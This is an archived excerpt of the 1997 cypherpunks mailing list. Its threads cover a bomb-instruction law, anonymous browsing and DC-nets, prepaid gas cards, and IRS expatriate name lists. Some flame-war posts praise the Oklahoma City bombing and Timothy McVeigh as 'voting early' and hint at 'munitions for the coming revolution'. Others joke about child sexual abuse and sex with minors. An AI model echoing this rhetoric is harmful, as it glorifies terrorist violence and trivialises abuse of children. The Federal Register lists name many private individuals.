At 11:17 AM -0700 6/25/97, Silenced wrote:
>Soon, it may be illegal to distribute bomb making instructions.
>Get your copy while you still can!
>           Sponsored by Senator Dianne Feinstein (D-California), who has
>           been trying to get the legislation on the books since 1995, the
>           amendment passed Thursday is narrowly written to include only
>           the distribution of material that has an "intent to harm."

When the DOJ looked at this issue in detail they came to the conclusion
that the  regulations could only be tightened, and not run afoul of the
First Amendment, if very carefully crafted.  In the final form it only
prohibits the teaching of bombmaking for criminal purposes. It's not clear
to me that the bill will restrict such material on the net, unless they
inplies criminal use. See:  http://jya.com/abi.htm.

What's not clear to me, and I wish someone would explain, is how the SC
managed to find pornography not similarly protected speech.  Arms and
munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
others.


--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Thu, 26 Jun 1997 06:43:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <3.0.1.32.19970625153558.00840200@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:23 PM 6/25/97 -0400, tzeruch@ceddec.com wrote:
>On Fri, 20 Jun 1997, Jeremey Barrett wrote:
>
>> The question is what's the threat model. If the goal is to prevent the
>> server from identifying the client given limited resources, then
>> www.anonymizer.com or similar is sufficient. However, the real problem
>> is preventing an entity with unlimited resources and control over most
>> of the nodes in the anonymous network from conducting successful traffic
>> analysis. This is an entirely different and very difficult problem.
>
>Having got the latest Applied Cryptography, it looks like it would be
>possible to set up a series of servers on the "Dining Cryptographers at a
>Disco" model.  It would require a constant flow, probably something like
>token ring, so couldn't be used for high bandwidth applications, but it
>completely nukes traffic analysis.

You'll have a secure black box then. Everything in the black box
is secure, but the real information comes from watching what goes
in one side and out the other. Unless there is an astronomical amount 
of traffic, it will be fairly obvious who's doing what.

After all, knowing who did what is the goal of traffic analysis, usually 
not what route they took in between.

The trick is to design a system where an eavesdropper can't correlate
a connection into the anonymous network to one coming out. Such a system will 

almost certainly involve some sort of "personal proxy" running on your own 
machine. It might maintain a constant bandwidth to the anonymous network, but 

that's sub-optimal since most people like their bandwidth for other things.

Jeremey.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7GdTS/fy+vkqMxNAQF1KgP9HUeipjxUkMd6WcdIu7erw4dXmHQlB2VO
RELgmItWCCZm1XdHanh197VKe714RUYN0FNEIu09hdgLK80yI8qDxIXBykcglFIc
O7V+HbfPa3HOAR1HftTQm6evXeY/JEWUSt/7ymGXVKHp06SWRsExcbGwDt0DhsAw
apmEl0PNV8c=
=JfEd
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 26 Jun 1997 21:48:49 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: It ain't over till the fatman burns...
In-Reply-To: <199706250602.CAA02284@dhp.com>
Message-ID: <Pine.LNX.3.91.970625153258.1979B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Supervision, plain and simple. However, if you honestly believe your
> > children are going to be harmed in some lasting way by any images they
> > might find there is clearly something wrong with the way you have brought
> > them up
> 
>   Good, strong beatings will also help to deter them from doing
> things that they find interesting or pleasurable. This will help
> to reinforce the concept that things which feel good lead to
> pain and punishment.

Indeed so: Lock and load!

>   Pictures of people burning in hell can be put in prominent places
> in the home, with constant verbal reminders that God will punish
> bad people who have different values than you.

This is a common and well researched technique, which, along with self 
flagellation, can be very effective for moral purification.

>   Impress upon your son that if he wants to have sex with 
> teenage girls under the age of 18 he must move to a foreign 
> country where he can receive millions of dollars in foreign
> aide while he does so. 

I didn`t know the US age of consent was 18? Is this federal or state 
decided? It is 16 in the UK, not that any level is reasonable. 

> Explain that if he has sex with his
> teenage girlfriend in this country that he is an evil person
> and will be convicted as a sex offender (which will delay
> their wedding plans) and be marked for life as a child 
> molester.

Indeed, prison violence by other prisoners against convicted sex 
offenders (ie. 18 year olds who have sex with their 15 year old 
girlfriend or just happen to accidentally pick up a 15 year old 
at a club, both henious crimes obviously) is very common in the UK.

>   Most important of all, carefully explain to your children
> that if their gaze ever happens to fall upon material which
> you find unacceptable that they will end up being murdering,
> drug-dealing pornographers because they are immoral dupes
> with no character or self-will.

Yes, the very sight of a naked woman is enough to turn any 17 year old 
into a raving killer with no respect for human life, of course, the 
moment he turns 18 it is just socially looked down upon, but not 
criminal, this is obvious isn`t it? Shouldn`t there be a law!

>   Use Paul and myself as examples of where libertarian thinking
> leads, in the end. After all, he is writing from DEMON.co.uk and
> I am writing from LUCIFER@dhp.com.

Yes, libertarian thinking is very pervasive. I used to be a minarchist, 
since thinking about the use of cryptography to preserve stable anarchies 
I have gravitated more and more towards an anarchist point of view with 
just a totally minimal NON-LAWMAKING state, ie. just a properly regulated 
police force, jail system, and the other associated bits and pieces, 
commercial methods, although they would be nice to totally purify 
anarchist doctrine <-(for want of a better and less overloaded word), 
just do not seem to work for these services due to the necessity for 
impartiality, the market DOES NOT want impartial judicial systems...

It does not matter where you are located or who you associate with, or 
who you learn your life-view from, and how it develops. Proper 
logical libertarian thinking always leads to the same views, give or take 
the details. 

>   If you are concerned about what your children may encounter
> on the internet that will expose their lack of character and
> morals, there is a program available that is even better than
> Cybersitter. It was sent to the list by fuck@yourself.up a few
> months ago.

I would recommend simply keeping all girls indoors in a cave until the 
age of 18, forcing them to wear a cast iron chastity belt, and arranged 
marriages.

Boys can safely be allowed to go out fucking who they like after they 
reach 16, and not a day before, but do not under any circumstances give 
them proper sex education so they do not get girls pregnant, they must 
face the consequences!

> FlameMonger


MoralityMonger


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 26 Jun 1997 21:43:02 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: The value of free speech...
In-Reply-To: <199706251254.FAA24496@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970625154756.1979C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   When I was twelve years old a man stepped out of the proverbial
> dark alley in my small hometown and offered me twenty dollars to
> give him a blow-job. I said no.

Had you kept that 20 dollars in a high interest long term access account 
or invested it in stocks it may now have been worth enough to convice you 
to give him the said blow-job. ;-)....

>   If your children see a picture of a young child with a dick
> in his or her mouth and don't see anything wrong with it, then
> I don't think the problem is with the picture.

Very well put, I often use a variant of this as a counter argument to the 
child protection censorship brigade. If parents bring up kids such that a 
picture of a cow being sucked off is going to turn them into a 
bestialist, or a picture of a dead guy is going to turn them into a hard 
as nails killing machine praying for death, the child is pretty fucked up 
in the first place.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 26 Jun 1997 07:04:42 +0800
To: Jeremey Barrett <jeremey@bluemoney.com>
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.1.32.19970625153558.00840200@descartes.bluemoney.com>
Message-ID: <Pine.3.89.9706251552.A12831-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, Jeremey Barrett wrote:

> The trick is to design a system where an eavesdropper can't correlate
> a connection into the anonymous network to one coming out. Such a system will 
> 
> almost certainly involve some sort of "personal proxy" running on your own 
> machine. It might maintain a constant bandwidth to the anonymous network, but 
> 
> that's sub-optimal since most people like their bandwidth for other things.

The trick for users might be to move everything through the DC net. That way 
you take a max. hit of 50% loss of bandwidth. The problem would likely be 
worse for intermediate nodes. Need to think about this some more. There 
is a solution...

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 26 Jun 1997 07:30:04 +0800
To: cypherpunks@toad.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <199706252316.QAA23656@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> On Wed, 25 Jun 1997, lucifer Anonymous Remailer wrote:
> > > We've got a relatively decent style of government here.
> 
> >   Sure, as long as you don't step out of line, like at Kent State
> > or Waco, or at the Democratic convention in Chicago.
> >   Any style of government is "relatively decent" if you don't
> > rock the boat. Buy a fucking clue...
> 
> Do I have to spell out everything for you?  "Style of government" as in
> governmental *DESIGN*, not the current situation.  I'm talking about the
> layout of Congress, the Executive branch, the Supreme Court, etc.

  Better you should concentrate on learning to read than on giving
spelling lessons.
  I'll type slowly and SHOUT, shit-for-brains, so you have a slim
chance of following me, here:
  "ANY (<--that's _ANY_) style (DESIGN, STRUCTURE, METHOD...) of 
government is "realatively decent" if you don't rock the boat."

  Screw the "layout of Congress, the Executive branch, the Supreme 
Court, etc."
  I seriously doubt that the slaves being whipped in the thirteen
colonies ignored the pain by concentrating on the beauty of the
layout of Congress. I doubt that Indians mourning the slaughter
of their families appreciated the structure of the Executive
Branch.

  "Style of government" doesn't much matter a rat's ass. All that
really matters is the balance of power between those in society
and how those who have power use it.
  If there are two of us and only one gun, we can draw toothpicks
to see which of us has "governership" over the gun for the day to
hunt for food, or if you are big and have an attitude you may just
seize control of the gun. If you're using the gun only to hunt and
share the food equally with me, either way is a "relatively decent"
form of "government" of the gun.
  Of course, if you get off on the "power" of controlling the gun,
you are going to get nervous when I start gathering sticks and
stones to build a house and start passing "amendments" to our
agreement or "style of government" that state I can only possess
small sticks and stones, etc, etc. Pretty soon, I'm building a
nuclear warhead in my straw hut...

> This whole discussion has been, from my point of view at least, mostly
> theoretical in a discussion of possible ways to alter the government to
> stay away from the situations that we are in now.

  Simple. Design all future government buildings to match the remains
of the Federal Building in OKC and replace the pictures of our beloved
President with pictures of Timothy McVeigh.
  The problem with any government is not the style, but the maintaining
of accountability. Putting the nuclear warheads in D.C. and giving the
magic button to a barmaid in Denver would likely be as "relatively
decent" a "style of government" as any other alternative.
  You want a "relatively decent style of government?" Make Stalin our
dictator and arrange for Mother Teresa to control a mechanical vice
that contains his nuts.

  Pick any "style of government" at random, as far as I'm concerned,
but don't forget to put a note on the fridge to remind yourself to
pick up some munitions for the coming revolution.
  McVeigh was just "voting early," as is allowed for by law for 
those in the military who may be busy serving their country at
election time.
  Change the style of government to any form you please and the pigs
at the public trough are going to fight (and kill) to stay there.
A change in "style" is not needed as much as a change in "attitude."
(e.g. "Hard weapons, soft targets, no compromise.")

  I don't need to buy a clue. I have a Ryder truck full of clues
that I haven't even used yet.

ClueMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 26 Jun 1997 04:40:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <97Jun25.162334edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Jeremey Barrett wrote:

> X-Premail-Auth: Good signature from user "Jeremey Barrett
>    <jeremey@bluemoney.com>".

> Anonymous web browsing is definitely being worked on. However, simply
> chaining proxies ala remailer chains is not sufficient because traffic
> analysis is fairly trivial.
> 
> The question is what's the threat model. If the goal is to prevent the
> server from identifying the client given limited resources, then
> www.anonymizer.com or similar is sufficient. However, the real problem
> is preventing an entity with unlimited resources and control over most
> of the nodes in the anonymous network from conducting successful traffic
> analysis. This is an entirely different and very difficult problem.

Having got the latest Applied Cryptography, it looks like it would be
possible to set up a series of servers on the "Dining Cryptographers at a
Disco" model.  It would require a constant flow, probably something like
token ring, so couldn't be used for high bandwidth applications, but it
completely nukes traffic analysis.

(as an aside, if someone has control of "most of the nodes" they can cheat
however they want without resorting to traffic analysis - if they
control few nodes the picture is different).

[brief but wrong description: assume there are an even number of servers. 
Each generates a random number and passes it on along with a parity bit. 
Then next server compares it's random number with the previous one and
flips the parity bit if the random bits *differ*, and then sends the
parity bit and the same random bit to the next server. When the bit has
completed the circuit, the parity bit will be zero (which would be
broadcast or send in the next round), unless someone altered it
intentionally.  So any one can set a one bit by simply not flipping it,
and no one will know who since all anyone knows is the original state of
the parity bit when they saw it, and the previous random number.  If a
series of bits is encrypted using a public key, then only the recipient
will be able to receive it, and in all cases no one will know who sent or
received the message.  You need collision detection like ethernet, and
some addressing stuff, but all the extra bandwidth obscures the sender
and recipient.  Someone please post a clearer description]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 26 Jun 1997 05:10:57 +0800
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: Shell cancels all but $25 pre-paid cards
In-Reply-To: <Pine.GSO.3.95.970625065731.890A-100000@use.usit.net>
Message-ID: <97Jun25.163258edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, Brad Dolan wrote:

> 
> About 6 months ago, Shell introduced pre-paid cards in $25, 50 and 100
> denominations which could be used to ~anonymously pay for gas at the pump.
> Suddenly, Shell has withdrawn all but the nearly-pointless $25 cards.
> 
> Security problems?
> 
> Complaints from the Freehdom usurpers?
> 
> Inquiring minds want to know.

Probably because they sold the $50 and $100 at a discount ($48 and $94).

Margins are slim in the competitive areas, so getting a 6% discount (on
something you can charge to a cashback card) probably ate into their
profits.  I didn't ask why, but I bought a few $100 since there is a
Shell station at the corner :).

$100 of gas for $94 - I'll take it while I can.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 26 Jun 1997 04:53:59 +0800
To: cypherpunks@Algebra.COM
Subject: First Two 'Taxpatriates' Lists
Message-ID: <3.0.2.32.19970625163438.035d18a0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

What you find when cruising the Federal Register:

Internal Revenue Service
NOTICES
Health Insurance Portability and Accountability Act of 1996:
    Individuals losing United States citizenship; list, 4570

Health Insurance Portability and Accountability Act of 1996;
          implementation:
    Individuals who have chosen to expatriate; quarterly list, 23532-
            23533


http://congress.access.gpo.gov/cgi-
bin/waisgate.cgi?WAISdocID=698949765+2+0+0&WAISaction=retrieve

[Federal Register: January 30, 1997 (Volume 62, Number 20)]
[Notices]               
[Page 4570]
- From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr30ja97-94]

=======================================================================
- -----------------------------------------------------------------------

DEPARTMENT OF THE TREASURY

Internal Revenue Service

 
Quarterly Publication of Individuals, Who Have Chosen To 
Expatriate, as Required by Section 877(a)

AGENCY: Internal Revenue Service (IRS), Treasury.

ACTION: Notice.

- -----------------------------------------------------------------------

SUMMARY: This notice is provided in accordance with IRC section 877(a), 
as amended, by the Health Insurance Portability and Accountability Act 
(HIPPA) of 1996. This listing contains the name of each individual 
losing United States citizenship (within the meaning of 877(a)) with 
respect to whom the Secretary received information during the quarter 
ending December 31, 1996.
    The following individuals have lost their U.S. citizenship during 
the quarter ending December 31, 1996.

Last Name, First Name, Middle Name

Alger, Frederick Moulton
Anthony, Susan
Binder, Heide Marie
Brilioth, Margaret Joan French
Brown, Dolores Celia
Buck, Helen Smith
Carter, Wesley Anthony
Cattier, Mathieu Francois Felicien
Cha, Stephen Sungdeok
Chae, Soo Jung
Chastain, Heidi Keim
Choi, Jong Suk
Choi, Jeong Hyoun
Cheng, Wen Hon
Chu, Samuel Wai Tak
Churchill, Owen Paul
Clyde, Kyung Ja
Creeth, Patricia Marilyn
Davis, Sonja Elisa
Diamond, Monica Clara
Dimma, Katharine Louise
Dobmeier, Brigitte
Dworschak, Elisabeth
Eggers, Carsten Rolf
El Ouassil, Victoria Johanna
Exelby Nee Bergdahl, Shirley Yvonne
Feiner, Gideon
Fergusson, Barbara
Gaffney, Michael Terry
Garza, Caroline Ellen
Gerstner, Sylvia Grace
Getty, Mark Harris
Grlica, George
Guillon-Teruel, Francoise Laure
Gulya, Gabor Laszlo
Haas, Eric Michael
Hively, Ronald Andre
Hwang, Paul Philip
Johnson, Chris Norman
Keel, Yolinda
Kiang, David Tien Sik
Kim, Soo Hong
Kim, Jong Hwan
Knight, Louis Helmer
Kosta, Robert Stanley
Kraus, Ruth
Krimholtz, Michael John
Krupiak, Katharine Elfriede
Leathers, Christina Helene
Lee, Sung Soo
Lee, Jennie Mi
Lee, Hae Ree
Lee, Tse-Tah
Lim, Byung Ok
Manquen, Timothy Duane
Marti, Ruth Daniela
Martinez, Roland Joe
McMillan, Norman
Minz Geneen, Florence Rose
Moon, Steve Young Chang
Morris, Joan Marie
Mussells, Emily Layman
Olaussen, Tom Kaare
Parsons, Graham Turner
Patterson, Yong Tok
Phillip, Thomas William
Posey, Franklin Melvin
Priest, Francesca Louise
Pujals, Eduardo Fernandez
Roh, Young Jeung Woo
Rossing, Dennis Siegbert
Segewitz, Elise
Seto, John Gin Chung
Simonsen, Thomas Keith
Smith, Beverly Anne
Sofronas, Angelos
Sommerlad, Elizabeth Hale Winkler
Storjohann, Carol Ann
Su, Beyue Chen
Tanenbaum, Julie Lynn
Tanenbaum, Kenneth Michael
Tanenbaum, Lisa Ellen
Trihey, Timothy Patrick
Trotta, Robert Thomas
Tze, Lou Man Ping
Vourecas-Petalas, Tatiana
Wong, Michelle Nancy
Wong, Denise Angela
Wurtz, Patrick George
Yarnall, Alexander Coxe
    Approved: January 22, 1997.
Doug Rogers,
Project Manager, International District Operations.
[FR Doc. 97-2283 Filed 1-29-97; 8:45 am]
BILLING CODE 4830-01-U


http://congress.access.gpo.gov/cgi-
bin/waisgate.cgi?WAISdocID=699983152+1+0+0&WAISaction=retrieve


[Federal Register: April 30, 1997 (Volume 62, Number 83)]
[Notices]               
[Page 23532-23533]
- From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr30ap97-142]

- -----------------------------------------------------------------------

DEPARTMENT OF THE TREASURY

Internal Revenue Service

 
Quarterly Publication of Individuals, Who Have Chosen To 
Expatriate, as Required by Section 3069F

AGENCY: Internal Revenue Service (IRS), Treasury.

ACTION: Notice.

- -----------------------------------------------------------------------

SUMMARY: This notice is provided in accordance with IRC section 3069F, 
as amended, by the Health Insurance Portability and Accountability Act 
(HIPPA) of 1996. This listing contains the name of each individual 
losing United States citizenship (within the meaning of section 877(a)) 
with respect to whom the Secretary received information during the 
quarter ending March 31, 1997.

LAST NAME, FIRST NAME, MIDDLE NAME

ABDULKADIR, HELEN,
ACKER, CLARE, FRENKEL
ADAMKOWSKI, RANDAL, JOHN
ADAMS, JINA
ADAMS, DORIS, LEE
ADAMSON, VINCENT, ROY
ADRIAN, BARBARA, RUTH
ADRIAN, RICHARD, ALLAN
ALBERT, CRAIG
ALEXANDER, SO, AE
AN, KIM, MYUNG
ANDERSON, SUSAN, LALLY
ANDREWS, DENNIS, CLEVELAND
ANGLE, BONNIE, JEAN
ANGLE, CLOYD, FRANCIS
AVELING, ROSALIND, ROASLIND
BAGLEY III, RALPH, COLT
BANG, GISLE
BATTINGER, HARRY, ROBERT
BATTINGER, LORE
BEATT, HELEN, CHRISTINE
BEAVERS, WILLIAM, SAMUEL
BENDER, MARIA, KATHARINE
BENSON, LINDA, OTTILIE
BEPPU, OTSUYA
BEPPU, KUNINORI
BERGERUD, ARTHUR, THOMPSON
BERGMANN, FRED, HARALD
BESSETT, ALICE, AGMES
BLINN, DONALD, GEORGE
BOGDANOVICH, MARTIN, JOSEPH
BOGGS, TAE, KYONG
BONNICI, AARON, FRANK
BOWDEN, ROBERT, ROY
BRADBURY, GORDON, WILLIAM
BRADLEY, ESTIL, GIRVEN
BRENNINKMEYER, FRANK, BENEDICT
BROWN, PHILLIP, NICHOLAS
BRYAN, LISA, SUZANNE
BUCKNER, MICHAEL, ANTHONY
BURROWS, JACK, ANTHONY
BYUN, DOUGLAS, HEE
CAAN, DURIETTA, MARIA
CAMILLERI, TERRY, VICTOR
CASAL, CHRISTIAN
CASEIRO, HELEN, VUOKKO
CAVAGHAN, GLADYS
CENTURION, LEOPOLDO, FRANCISCO
CHALABY, JOSEPH, IBRAHIM
CHAMBERLAIN, COURTNEY, CHARLES
CHAN, CALEB, YUET-MING
CHANG, STEVE, PEN
CHANG, JIM, BYUNGOH
CHANG, STEVE, SUNGGILL
CHAUDHRY, LATIF, MOHAMMAD
CHEN, SHUENN, SAMSON
CHEN, RAY, RUEN-WU
CHENG, JOHN, S.
CHENG, EDMUND, WAI-WING
CHIEN, DAVID, TA
CHO, SON, KYONG
CHO, SUE, HEE
CHO, ERIC, DONGJOON
CHO, BONG, HYEON
CHO, HEISOOK
CHOI, HOLLYANN, HUICHON
CHOI, STEVEN
CHOI, MYUNG, DUK
CHOI, JANG, SHIK
CHOI, JOHN, BONG
CHOY, RAYMOND, O.
CHU, JAMES, CHI YING
CHU, EDWARD
CHUNG, LISA, EUN HEE
CHUNG, BONG, HEE
CHUNG, JEFFREY, SEI JONG
CHUNG, PAUL, CHANG-HOON
CHUNG, BO, YOUNG
CHUNG, DANIEL, JONGIN
CHUNG, IN, HO
CIANCIO, CARMELA
CLARK, MALCOLM, JOHN
CLARK, JANET, L.
CLARK, MARGARITA, GIL
CLARK, CAROLYN, HARRIET
CONLON, PAUL, JOSEPH
CONWAY, WILMER, CHEYNEY
COOK, WILHELMINA, DOROTHY
COOLEY, ANNE, MARLOWE
COOPER, LINA, GERTRUD
CORSAT, MARCELLE,
CRAFT, NORMAN, DAVID
CRAMER, DEBORAH, LYNN
CREETH, PATRICIA, MARILYN
CROTTY, JULIANA, MARY
CRUZ, ALBERTO, JUAN
CUNNINGHAM, PETER, ALLAN
DANIELSSON, LOUISE, MARIE
DAVID, DAN
DAVIDSON, ALISTAIR, GREGOR
DAVIDSON, ALISTAIR, GREGOR
DE HERRERA, CRISTINA, SORIANO
DEBONO, DENNIS
DEWAR, DONALD, CAMERON
DIAS, ALFONSO, RICK
DIAZ, REBECCA
DIETZ, CYNTHIA, JANE
DOHERTY, HELEN, MARIE
DOKKO, JOHN, BUCK
DONALD, JOHN, HOLLAND
DRAPER, RICHARD, LEE
EKLUND, PATRICIA, ELIZABETH
ELLIS, OK, HUI
ERHARD, WERNER, HANS
ESKILDSTRUP, KIRKE
EVANS, WESLEY, KENNETH
EVANS, BRENDA, JOYCE
EVANS, MARK, RIVINGTON
EVERAND, MARCUS, ANGEL LANE
FAIRLEIGH, SHIZUE
FARIS, JR., GERALD, DALE
FARMER, MICHAEL, LEE
FELDMAN, ANDRE, JAY
FIRMENICH, EVA, MARIA
FITZGERLALD, STEPHEN, CHARLES
FOX, MARY, CLARE
FREEMAN, ROGER, DANTE
FURGUIEL, SHIRLY, ANN
GALLAGHER, THOMAS
GARCIA, PABLO, MARCANO
GENTLE, CHONG, CH
GEORGAS, TARSI, BABIS
GIBBES, VIRGINIA
GLANNUM, HANS, ERLING, SOUNDERGA
GOEKJIAN, CHRISTOPHER, ALLAN
GOODELL, JOHN, SILAS
GOODYEAR, PAUL, WILLIAM
GRACE, FRANK, CLAYTON
GRANDE, GARY, ROY
GRANT, BRITT, HELEN
GREER, LAWRENCE, DONALD
GRIMM, CHARLES, RICHARD
GROSS, BRENT, PETER
GUENN, HEMMY, KIM
GUT, ANN, F.
GUTEDRING, SUSANNE, STEPHANIE
HABERFELD, FELICE, JEANNE
HAGELAND, INGE
HAGGLOF, MAI-LISE, INGER
HAHN-HADJALI, KAREN, CHRISTINE
HAN, JUEN, HYUNSOOK
HAN, SOO, NAM
HARDEN, EDGAR, FREDERICK
HARTWELL, GARY, ALAN
HAUGE, PRISCILLA, ANN
HAUGEN, LINDA
HAUS, BODO, GUNTER
HAYWOOD-FARMER, MARY
MARTHA
HEGARTY, DENIS, PATRICK
HELLSTROM, GUNNAR, OLOF
HENDERMAN, KEITH, BERTRAND
HENRIKSEN, KIRSTEN, LILLIAN
HERZOG, ERNST
HESSER, J., CRAIG
HEYMAN, ALAN, CHARLES
HIGGS, JUDITH, LYNN
HIGGS, DEREK, LESLIE
HIGHTOWER, BONITA
HO, HELAN, C
HO, LEO, CHI-CHEN
HO, STELLA, SUK YING CHEUNG
HOFFENBERG, PAUL, MARK
HOFMANN, MARGARET, ELSIEJ
HOLGERSON, MARIANNE
HOLMES, TERESA, ANN
HONG, JAJMES, SHU, KING
HONG, HARRY, YOUNG
HONG, FRANK

[[Page 23533]]

HONG, CONNIE
HORMEL, SANDRA, LYNN
HUMPHREY, JUDITH, ANN
HYUN, PAUL, SOONNO
JOWETT, JOHN
KAESTNER, LOUISE, CHRISTEL MARIE CA
KASPERSEN, IRENE
KENT, PHILIP
KIM, MICHAEL, HYUNG
KIM, HWI, JUNG
KIM, SUN, MI
KIM, KO, KWANG
KIM, SANG, WOOK
KIM, EUGENE, YONG
KIM, SUNG, YE
KIM, SOON, JUNG
KING, CHARLOTTE, OTTILIE
KOEFOE, KAREN, ELIZABETH MUNCH
KORMAN, SANG, ROK
KURTZ, JOHN, BELLAIR
LEE, EILEEN
LEE, KI, TAE
LEE, MIN, JAE
LEE, HYANG, WON
LYNAS, JOHNATHAN, FRANCIS
MCCARTHY, THOMAS, MICHAEL
MIN, CHAN, KI
MORRIS, JANE, MARIE
MULKEY, JOHN, CARTER
OLAUSSEN, TOM, KAARE
PARKER, PHILIP, HULL
POSTLER, KEITH
REUSSER, CATHERINE, DORIS
RICHER, ORTRUD, MARGARETE
RINGWAIT, JOHN, FOSTER
ROSSI, IDDA-MARIE
ROTHE, VIRGINA, CAROLINE R.
ROTHE, RUDOLPH, ALBERT
RUGTVED, KAI, SIGURD
SCHAEPPI, ULRICH, HANS
SCHOCH, NANCY, STEWART
SHELLEY, JAMES
SMITH, JONATHAN, DAVID
SNISKY, DEBRA, ANNE
STERNBERG, ILSE, RACHEL
STROUTH, ROBERT, LOUIS
STROUTH, BETTY, LOU
SUN, ALBERT, ING-SHAN
SUSSMAN, NAN, BRIGHT
THOMPSON, LISE
TOUCHE, ELIZABETH, LOUISE
VALKOS, JOSEPH, DANIEL
WALTHALL, FIONA, ANNE
WALTON, GARY, LEE
WHANG, HEEYU
WOLFE, ELENE, J.
WOOD, DIANA, E.
YOON, JOHN, CHONGYUL
ZU PAPPENHEIM, CHRISTIAN, RUDLOPH  

    Approved: April 24, l997.
Doug Rogers,
Project Manager, International District Operations.
[FR Doc. 97-11139 Filed 4-29-97; 8:45 am]
BILLING CODE 4830-01-U




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 26 Jun 1997 06:06:01 +0800
To: cypherpunks@toad.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <199706250637.CAA15190@dhp.com>
Message-ID: <Pine.GSO.3.95.970625174813.4119B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, lucifer Anonymous Remailer wrote:

> > We've got a relatively decent style of government here. 

>   Sure, as long as you don't step out of line, like at Kent State
> or Waco, or at the Democratic convention in Chicago.
>   Any style of government is "relatively decent" if you don't
> rock the boat. Buy a fucking clue...

Do I have to spell out everything for you?  "Style of government" as in
governmental *DESIGN*, not the current situation.  I'm talking about the
layout of Congress, the Executive branch, the Supreme Court, etc.  I'm not
discussing who is in the Congress, the Executive branch, or the Supremem
Court at this point in time.

This whole discussion has been, from my point of view at least, mostly
theoretical in a discussion of possible ways to alter the government to
stay away from the situations that we are in now.

Buy you're own fucking clue.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 10:15:11 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: One Ryder Truck--One Vote
In-Reply-To: <199706251253.FAA24434@fat.doobie.com>
